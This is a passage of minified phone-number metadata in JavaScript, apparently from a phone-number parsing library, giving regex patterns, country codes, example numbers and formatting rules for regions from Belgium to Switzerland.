],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],BE:[null,[null,null,"4\\d{8}|[1-9]\\d{7}",null,null,null,null,null,null,[8,9]],[null,null,"(?:(?:1[0-69]|[23][2-8]|4[23]|5\\d|6[013-57-9]|71|9[2-4])\\d|8(?:0[2-8]|[1-79]\\d))\\d{5}",null,null,null,"12345678",null,null,[8]],[null,null,"4(?:5[56]|6[0135-8]|[79]\\d|8[3-9])\\d{6}",null,null,null,"470123456",null,null,[9]],[null,null,"800[1-9]\\d{4}",null,null,null,"80012345",null,null,[8]],[null,null,"(?:70(?:2[0-57]|3[0457]|44|69|7[0579])|90(?:0[0-35-8]|1[36]|2[0-3568]|3[0135689]|4[2-68]|5[1-68]|6[0-378]|7[23568]|9[34679]))\\d{4}",null,null,null,"90012345",null,null,[8]],[null,null,"7879\\d{4}",null,null,null,"78791234",null,null,[8]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"BE",32,"00","0",null,null,"0",null,null,null,[[null,"(\\d)(\\d{3})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[23]|4[23]|9[2-4]"],"0$1"],[null,"(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[15-7]|8(?:0[2-8]|[1-79])"],"0$1"],[null,"(\\d{3})(\\d{2})(\\d{3})","$1 $2 $3",["[89]"],"0$1"],[null,"(\\d{3})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["4"],"0$1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"78(?:0[57]|1[0458]|2[25]|3[5-8]|48|[56]0|7[078])\\d{4}",null,null,null,"78102345",null,null,[8]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],BF:[null,[null,null,"[25-7]\\d{7}",null,null,null,null,null,null,[8]],[null,null,"2(?:0(?:49|5[23]|6[56]|9[016-9])|4(?:4[569]|5[4-6]|6[56]|7[0179])|5(?:[34]\\d|50|6[5-7]))\\d{4}",null,null,null,"20491234"],[null,null,"(?:5[124-8]|[67]\\d)\\d{6}",null,null,null,"70123456"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"BF",226,"00",null,null,null,null,null,null,null,[[null,"(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[25-7]"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],BG:[null,[null,null,"[2-7]\\d{6,7}|[89]\\d{6,8}|2\\d{5}",null,null,null,null,null,null,[6,7,8,9],[4,5]],[null,null,"(?:(?:[236]\\d|5[1-9]|8[1-6]|9[1-7])\\d|4(?:[124-7]\\d|3[1-6])|7(?:0[1-9]|[1-9]\\d))\\d{4,5}|2\\d{5}",null,null,null,"2123456",null,null,[6,7,8],[4,5]],[null,null,"(?:4(?:3[07-9]|8\\d)|(?:8[7-9]\\d|9(?:8\\d|9[69]))\\d)\\d{5}",null,null,null,"48123456",null,null,[8,9]],[null,null,"800\\d{5}",null,null,null,"80012345",null,null,[8]],[null,null,"90\\d{6}",null,null,null,"90123456",null,null,[8]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"700\\d{5}",null,null,null,"70012345",null,null,[8]],[null,null,null,null,null,null,null,null,null,[-1]],"BG",359,"00","0",null,null,"0",null,null,null,[[null,"(\\d)(\\d)(\\d{2})(\\d{2})","$1 $2 $3 $4",["2"],"0$1"],[null,"(\\d{3})(\\d{4})","$1 $2",["43[1-6]|70[1-9]"],"0$1"],[null,"(\\d)(\\d{3})(\\d{3,4})","$1 $2 $3",["2"],"0$1"],[null,"(\\d{2})(\\d{3})(\\d{2,3})","$1 $2 $3",["[356]|4[124-7]|7[1-9]|8[1-6]|9[1-7]"],"0$1"],[null,"(\\d{3})(\\d{3})(\\d{2})","$1 $2 $3",["43[1-7]|70[1-9]"],"0$1"],[null,"(\\d{3})(\\d{2})(\\d{3})","$1 $2 $3",["7|80"],"0$1"],[null,"(\\d{2})(\\d{3})(\\d{3,4})","$1 $2 $3",["[48]|9[08]"],"0$1"],[null,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["9"],"0$1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],BH:[null,[null,null,"[136-9]\\d{7}",null,null,null,null,null,null,[8]],[null,null,"(?:1(?:3[1356]|6[0156]|7\\d)\\d|6(?:1[16]\\d|500|6(?:0\\d|3[12]|44|7[7-9])|9[69][69])|7(?:1(?:11|78)|7\\d\\d))\\d{4}",null,null,null,"17001234"],[null,null,"(?:3(?:[1-4679]\\d|5[013-69]|8[0-47-9])\\d|6(?:3(?:00|33|6[16])|6(?:3[03-9]|[69]\\d|7[0-6])))\\d{4}",null,null,null,"36001234"],[null,null,"80\\d{6}",null,null,null,"80123456"],[null,null,"(?:87|9[014578])\\d{6}",null,null,null,"90123456"],[null,null,"84\\d{6}",null,null,null,"84123456"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"BH",973,"00",null,null,null,null,null,null,null,[[null,"(\\d{4})(\\d{4})","$1 $2",["[1367]|8[047]|9[014578]"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],BI:[null,[null,null,"(?:[267]\\d|31)\\d{6}",null,null,null,null,null,null,[8]],[null,null,"22\\d{6}",null,null,null,"22201234"],[null,null,"(?:29|31|6[189]|7[125-9])\\d{6}",null,null,null,"79561234"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"BI",257,"00",null,null,null,null,null,null,null,[[null,"(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[23]|6[189]|7[125-9]"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],BJ:[null,[null,null,"[2689]\\d{7}",null,null,null,null,null,null,[8]],[null,null,"2(?:02|1[037]|2[45]|3[68])\\d{5}",null,null,null,"20211234"],[null,null,"(?:6\\d|9[03-9])\\d{6}",null,null,null,"90011234"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"857[58]\\d{4}",null,null,null,"85751234"],"BJ",229,"00",null,null,null,null,null,null,null,[[null,"(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[2689]"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"81\\d{6}",null,null,null,"81123456"],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],BL:[null,[null,null,"(?:590|69\\d)\\d{6}",null,null,null,null,null,null,[9]],[null,null,"590(?:2[7-9]|5[12]|87)\\d{4}",null,null,null,"590271234"],[null,null,"69(?:0\\d\\d|1(?:2[29]|3[0-5]))\\d{4}",null,null,null,"690001234"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"BL",590,"00","0",null,null,"0",null,null,null,null,null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],BM:[null,[null,null,"(?:441|[58]\\d\\d|900)\\d{7}",null,null,null,null,null,null,[10],[7]],[null,null,"441(?:2(?:02|23|[3479]\\d|61)|[46]\\d\\d|5(?:4\\d|60|89)|824)\\d{4}",null,null,null,"4412345678",null,null,null,[7]],[null,null,"441(?:[37]\\d|5[0-39])\\d{5}",null,null,null,"4413701234",null,null,null,[7]],[null,null,"8(?:00|33|44|55|66|77|88)[2-9]\\d{6}",null,null,null,"8002123456"],[null,null,"900[2-9]\\d{6}",null,null,null,"9002123456"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"5(?:00|2[12]|33|44|66|77|88)[2-9]\\d{6}",null,null,null,"5002345678"],[null,null,null,null,null,null,null,null,null,[-1]],"BM",1,"011","1",null,null,"1",null,null,null,null,null,[null,null,null,null,null,null,null,null,null,[-1]],null,"441",[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],BN:[null,[null,null,"[2-578]\\d{6}",null,null,null,null,null,null,[7]],[null,null,"(?:2(?:[013-9]\\d|2[0-7])|[3-5]\\d\\d)\\d{4}",null,null,null,"2345678"],[null,null,"(?:22[89]|[78]\\d\\d)\\d{4}",null,null,null,"7123456"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"BN",673,"00",null,null,null,null,null,null,null,[[null,"(\\d{3})(\\d{4})","$1 $2",["[2-578]"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],BO:[null,[null,null,"(?:[2-467]\\d{3}|80017)\\d{4}",null,null,null,null,null,null,[8,9],[7]],[null,null,"(?:2(?:2\\d\\d|5(?:11|[258]\\d|9[67])|6(?:12|2\\d|9[34])|8(?:2[34]|39|62))|3(?:3\\d\\d|4(?:6\\d|8[24])|8(?:25|42|5[257]|86|9[25])|9(?:[27]\\d|3[2-4]|4[248]|5[24]|6[2-6]))|4(?:4\\d\\d|6(?:11|[24689]\\d|72)))\\d{4}",null,null,null,"22123456",null,null,[8],[7]],[null,null,"[67]\\d{7}",null,null,null,"71234567",null,null,[8]],[null,null,"80017\\d{4}",null,null,null,"800171234",null,null,[9]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"BO",591,"00(?:1\\d)?","0",null,null,"0(1\\d)?",null,null,null,[[null,"(\\d)(\\d{7})","$1 $2",["[2-4]"],null,"0$CC $1"],[null,"(\\d{8})","$1",["[67]"],null,"0$CC $1"],[null,"(\\d{3})(\\d{2})(\\d{4})","$1 $2 $3",["8"],null,"0$CC $1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],BQ:[null,[null,null,"(?:[34]1|7\\d)\\d{5}",null,null,null,null,null,null,[7]],[null,null,"(?:318[023]|41(?:6[023]|70)|7(?:1[578]|50)\\d)\\d{3}",null,null,null,"7151234"],[null,null,"(?:31(?:8[14-8]|9[14578])|416[14-9]|7(?:0[01]|7[07]|8\\d|9[056])\\d)\\d{3}",null,null,null,"3181234"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"BQ",599,"00",null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,null,[-1]],null,"[347]",[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],BR:[null,[null,null,"(?:[1-46-9]\\d\\d|5(?:[0-46-9]\\d|5[0-24679]))\\d{8}|[1-9]\\d{9}|[3589]\\d{8}|[34]\\d{7}",null,null,null,null,null,null,[8,9,10,11]],[null,null,"(?:[14689][1-9]|2[12478]|3[1-578]|5[13-5]|7[13-579])[2-5]\\d{7}",null,null,null,"1123456789",null,null,[10],[8]],[null,null,"(?:[189][1-9]|2[12478])(?:7|9\\d)\\d{7}|(?:3[1-578]|[46][1-9]|5[13-5]|7[13-579])(?:[6-9]|9\\d)\\d{7}",null,null,null,"11961234567",null,null,[10,11],[8]],[null,null,"800\\d{6,7}",null,null,null,"800123456",null,null,[9,10]],[null,null,"(?:300|[59]00\\d?)\\d{6}",null,null,null,"300123456",null,null,[9,10]],[null,null,"(?:300\\d(?:\\d{2})?|4(?:0(?:0\\d|20)|370))\\d{4}",null,null,null,"40041234",null,null,[8,10]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"BR",55,"00(?:1[245]|2[1-35]|31|4[13]|[56]5|99)","0",null,null,"0(?:(1[245]|2[1-35]|31|4[13]|[56]5|99)(\\d{10,11}))?","$2",null,null,[[null,"(\\d{4})(\\d{4})","$1-$2",["300|4(?:0[02]|37)","300|4(?:0(?:0|20)|370)"]],[null,"(\\d{3})(\\d{2,3})(\\d{4})","$1 $2 $3",["[3589]00"],"0$1"],[null,"(\\d{3,5})","$1",["1[125689]"]],[null,"(\\d{4})(\\d{4})","$1-$2",["[2-9](?:0[1-9]|[1-9])"]],[null,"(\\d{5})(\\d{4})","$1-$2",["9(?:0[1-9]|[1-9])"]],[null,"(\\d{2})(\\d{4})(\\d{4})","$1 $2-$3",["[1-9][1-9]"],"($1)","0 $CC ($1)"],[null,"(\\d{2})(\\d{5})(\\d{4})","$1 $2-$3",["[1-9][1-9]9"],"($1)","0 $CC ($1)"]],[[null,"(\\d{4})(\\d{4})","$1-$2",["300|4(?:0[02]|37)","300|4(?:0(?:0|20)|370)"]],[null,"(\\d{3})(\\d{2,3})(\\d{4})","$1 $2 $3",["[3589]00"],"0$1"],[null,"(\\d{2})(\\d{4})(\\d{4})","$1 $2-$3",["[1-9][1-9]"],"($1)","0 $CC ($1)"],[null,"(\\d{2})(\\d{5})(\\d{4})","$1 $2-$3",["[1-9][1-9]9"],"($1)","0 $CC ($1)"]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,"(?:300\\d|40(?:0\\d|20))\\d{4}",null,null,null,null,null,null,[8]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],BS:[null,[null,null,"(?:242|[58]\\d\\d|900)\\d{7}",null,null,null,null,null,null,[10],[7]],[null,null,"242(?:3(?:02|[236][1-9]|4[0-24-9]|5[0-68]|7[347]|8[0-4]|9[2-467])|461|502|6(?:0[1-4]|12|2[013]|[45]0|7[67]|8[78]|9[89])|7(?:02|88))\\d{4}",null,null,null,"2423456789",null,null,null,[7]],[null,null,"242(?:3(?:5[79]|7[56]|95)|4(?:[23][1-9]|4[1-35-9]|5[1-8]|6[2-8]|7\\d|81)|5(?:2[45]|3[35]|44|5[1-46-9]|65|77)|6[34]6|7(?:27|38)|8(?:0[1-9]|1[02-9]|2\\d|[89]9))\\d{4}",null,null,null,"2423591234",null,null,null,[7]],[null,null,"(?:242300|8(?:00|33|44|55|66|77|88)[2-9]\\d\\d)\\d{4}",null,null,null,"8002123456",null,null,null,[7]],[null,null,"900[2-9]\\d{6}",null,null,null,"9002123456"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"5(?:00|2[12]|33|44|66|77|88)[2-9]\\d{6}",null,null,null,"5002345678"],[null,null,null,null,null,null,null,null,null,[-1]],"BS",1,"011","1",null,null,"1",null,null,null,null,null,[null,null,null,null,null,null,null,null,null,[-1]],null,"242",[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"242225[0-46-9]\\d{3}",null,null,null,"2422250123"],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],BT:[null,[null,null,"[17]\\d{7}|[2-8]\\d{6}",null,null,null,null,null,null,[7,8],[6]],[null,null,"(?:2[3-6]|[34][5-7]|5[236]|6[2-46]|7[246]|8[2-4])\\d{5}",null,null,null,"2345678",null,null,[7],[6]],[null,null,"(?:1[67]|77)\\d{6}",null,null,null,"17123456",null,null,[8]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"BT",975,"00",null,null,null,null,null,null,null,[[null,"(\\d)(\\d{3})(\\d{3})","$1 $2 $3",["[23568]|4[5-7]|7[246]"]],[null,"(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["1[67]|7"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],BW:[null,[null,null,"(?:(?:[2-6]|7\\d)\\d|90)\\d{5}",null,null,null,null,null,null,[7,8]],[null,null,"(?:2(?:4[0-48]|6[0-24]|9[0578])|3(?:1[0-35-9]|55|[69]\\d|7[01])|4(?:6[03]|7[1267]|9[0-5])|5(?:3[0389]|4[0489]|7[1-47]|88|9[0-49])|6(?:2[1-35]|5[149]|8[067]))\\d{4}",null,null,null,"2401234",null,null,[7]],[null,null,"7(?:[1-6]\\d{3}|7(?:[014-8]\\d\\d|200))\\d{3}",null,null,null,"71123456",null,null,[8]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"90\\d{5}",null,null,null,"9012345",null,null,[7]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"79(?:1(?:[01]\\d|20)|2[0-2]\\d)\\d{3}",null,null,null,"79101234",null,null,[8]],"BW",267,"00",null,null,null,null,null,null,null,[[null,"(\\d{3})(\\d{4})","$1 $2",["[2-6]"]],[null,"(\\d{2})(\\d{5})","$1 $2",["90"]],[null,"(\\d{2})(\\d{3})(\\d{3})","$1 $2 $3",["7"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],BY:[null,[null,null,"(?:(?:[12]|8[0-7]\\d)\\d|33|44|902)\\d{7}|8(?:[05-79]\\d|1[0-489])\\d{7}|8[0-79]\\d{5,7}|8\\d{5}",null,null,null,null,null,null,[6,7,8,9,10,11],[5]],[null,null,"(?:1(?:5(?:1[1-5]|[24]\\d|6[2-4]|9[1-7])|6(?:[235]\\d|4[1-7])|7\\d\\d)|2(?:1(?:[246]\\d|3[0-35-9]|5[1-9])|2(?:[235]\\d|4[0-8])|3(?:[26]\\d|3[02-79]|4[024-7]|5[03-7])))\\d{5}",null,null,null,"152450911",null,null,[9],[5,6,7]],[null,null,"(?:2(?:5[5-79]|9[1-9])|(?:33|44)\\d)\\d{6}",null,null,null,"294911911",null,null,[9]],[null,null,"8(?:0[013]|20\\d)\\d{7}|800\\d{3,6}",null,null,null,"8011234567"],[null,null,"(?:810|902)\\d{7}",null,null,null,"9021234567",null,null,[10]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"249\\d{6}",null,null,null,"249123456",null,null,[9]],"BY",375,"810","8",null,null,"0|80?",null,"8~10",null,[[null,"(\\d{3})(\\d{3})","$1 $2",["800"],"8 $1"],[null,"(\\d{3})(\\d{2})(\\d{2,4})","$1 $2 $3",["800"],"8 $1"],[null,"(\\d{3})(\\d{2})(\\d{2})(\\d{2})","$1 $2-$3-$4",["1(?:5[24]|6[235]|7[467])|2(?:1[246]|2[25]|3[26])","1(?:5[24]|6(?:2|3[04-9]|5[0346-9])|7(?:[46]|7[37-9]))|2(?:1[246]|2[25]|3[26])"],"8 0$1"],[null,"(\\d{4})(\\d{2})(\\d{3})","$1 $2-$3",["1(?:[56]|7[179])|2[1-3]","1(?:[56]|7(?:1[3-9]|7|9[2-7]))|2[1-3]"],"8 0$1"],[null,"(\\d{2})(\\d{3})(\\d{2})(\\d{2})","$1 $2-$3-$4",["[1-4]"],"8 0$1"],[null,"(\\d{3})(\\d{3,4})(\\d{4})","$1 $2 $3",["[89]"],"8 $1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,"(?:8(?:0[013]|10|20\\d)|902)\\d{7}|800\\d{3,6}"],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],BZ:[null,[null,null,"(?:0800\\d|[2-8])\\d{6}",null,null,null,null,null,null,[7,11]],[null,null,"(?:2(?:[02]\\d|36)|[3-58][02]\\d|7(?:[02]\\d|32))\\d{4}",null,null,null,"2221234",null,null,[7]],[null,null,"6[0-35-7]\\d{5}",null,null,null,"6221234",null,null,[7]],[null,null,"0800\\d{7}",null,null,null,"08001234123",null,null,[11]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"BZ",501,"00",null,null,null,null,null,null,null,[[null,"(\\d{3})(\\d{4})","$1-$2",["[2-8]"]],[null,"(\\d)(\\d{3})(\\d{4})(\\d{3})","$1-$2-$3-$4",["0"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],CA:[null,[null,null,"(?:[2-8]\\d|90)\\d{8}",null,null,null,null,null,null,[10],[7]],[null,null,"(?:2(?:04|[23]6|[48]9|50)|3(?:06|43|65)|4(?:03|1[68]|3[178]|50)|5(?:06|1[49]|48|79|8[17])|6(?:04|13|39|47)|7(?:0[59]|78|8[02])|8(?:[06]7|19|25|73)|90[25])[2-9]\\d{6}",null,null,null,"5062345678",null,null,null,[7]],[null,null,"(?:2(?:04|[23]6|[48]9|50)|3(?:06|43|65)|4(?:03|1[68]|3[178]|50)|5(?:06|1[49]|48|79|8[17])|6(?:04|13|39|47)|7(?:0[59]|78|8[02])|8(?:[06]7|19|25|73)|90[25])[2-9]\\d{6}",null,null,null,"5062345678",null,null,null,[7]],[null,null,"8(?:00|33|44|55|66|77|88)[2-9]\\d{6}",null,null,null,"8002123456"],[null,null,"900[2-9]\\d{6}",null,null,null,"9002123456"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"(?:5(?:00|2[12]|33|44|66|77|88)|622)[2-9]\\d{6}",null,null,null,"5002345678"],[null,null,"600[2-9]\\d{6}",null,null,null,"6002012345"],"CA",1,"011","1",null,null,"1",null,null,1,null,null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],CC:[null,[null,null,"1\\d{5,9}|(?:[48]\\d\\d|550)\\d{6}",null,null,null,null,null,null,[6,7,8,9,10]],[null,null,"8(?:51(?:0(?:02|31|60)|118)|91(?:0(?:1[0-2]|29)|1(?:[28]2|50|79)|2(?:10|64)|3(?:[06]8|22)|4[29]8|62\\d|70[23]|959))\\d{3}",null,null,null,"891621234",null,null,[9],[8]],[null,null,"4(?:[0-3]\\d|4[047-9]|5[0-25-9]|6[6-9]|7[02-9]|8[0-2457-9]|9[017-9])\\d{6}",null,null,null,"412345678",null,null,[9]],[null,null,"180(?:0\\d{3}|2)\\d{3}",null,null,null,"1800123456",null,null,[7,10]],[null,null,"190[0-26]\\d{6}",null,null,null,"1900123456",null,null,[10]],[null,null,"13(?:00\\d{3}|45[0-4])\\d{3}|13\\d{4}",null,null,null,"1300123456",null,null,[6,8,10]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"(?:14(?:5\\d|71)|550\\d)\\d{5}",null,null,null,"550123456",null,null,[9]],"CC",61,"001[14-689]|14(?:1[14]|34|4[17]|[56]6|7[47]|88)0011","0",null,null,"0|([59]\\d{7})$","8$1","0011",null,null,null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],CD:[null,[null,null,"[189]\\d{8}|[1-68]\\d{6}",null,null,null,null,null,null,[7,9]],[null,null,"12\\d{7}|[1-6]\\d{6}",null,null,null,"1234567"],[null,null,"(?:8(?:[0-2459]\\d\\d|8)|9[017-9]\\d\\d)\\d{5}",null,null,null,"991234567"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"CD",243,"00","0",null,null,"0",null,null,null,[[null,"(\\d{2})(\\d{2})(\\d{3})","$1 $2 $3",["88"],"0$1"],[null,"(\\d{2})(\\d{5})","$1 $2",["[1-6]"],"0$1"],[null,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["1"],"0$1"],[null,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["[89]"],"0$1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],CF:[null,[null,null,"(?:[27]\\d{3}|8776)\\d{4}",null,null,null,null,null,null,[8]],[null,null,"2[12]\\d{6}",null,null,null,"21612345"],[null,null,"7[0257]\\d{6}",null,null,null,"70012345"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"8776\\d{4}",null,null,null,"87761234"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"CF",236,"00",null,null,null,null,null,null,null,[[null,"(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[278]"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],CG:[null,[null,null,"(?:(?:0\\d|80)\\d|222)\\d{6}",null,null,null,null,null,null,[9]],[null,null,"222[1-589]\\d{5}",null,null,null,"222123456"],[null,null,"0[14-6]\\d{7}",null,null,null,"061234567"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"80(?:0\\d\\d|11[0-4])\\d{4}",null,null,null,"800123456"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"CG",242,"00",null,null,null,null,null,null,null,[[null,"(\\d{3})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["801"]],[null,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["[02]"]],[null,"(\\d)(\\d{4})(\\d{4})","$1 $2 $3",["8"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],CH:[null,[null,null,"8\\d{11}|[2-9]\\d{8}",null,null,null,null,null,null,[9,12]],[null,null,"(?:2[12467]|3[1-4]|4[134]|5[256]|6[12]|[7-9]1)\\d{7}",null,null,null,"212345678",null,null,[9]],[null,null,"7[35-9]\\d{7}",null,null,null,"781234567",null,null,[9]],[null,null,"800\\d{6}",null,null,null,"800123456",null,null,[9]],[null,null,"90[016]\\d{6}",null,null,null,"900123456",null,null,[9]],[null,null,"84[0248]\\d{6}",null,null,null,"840123456",null,null,[9]],[null,null,"878\\d{6}",null,null,null,"878123456",null,null,[9]],[null,null,null,null,null,null,null,null,null,[-1]],"CH",41,"00","0",null,null,"0",null,null,null,[[null,"(\\d{2})(\\d{3})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[2-7]|[89]1"],"0$1"],[null,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["8[047]|9"],"0$1"],[null,"(\\d{3})(\\d{2})(\\d{3})(\\d{2})(\\d{2})","$1 $2 $3 $4 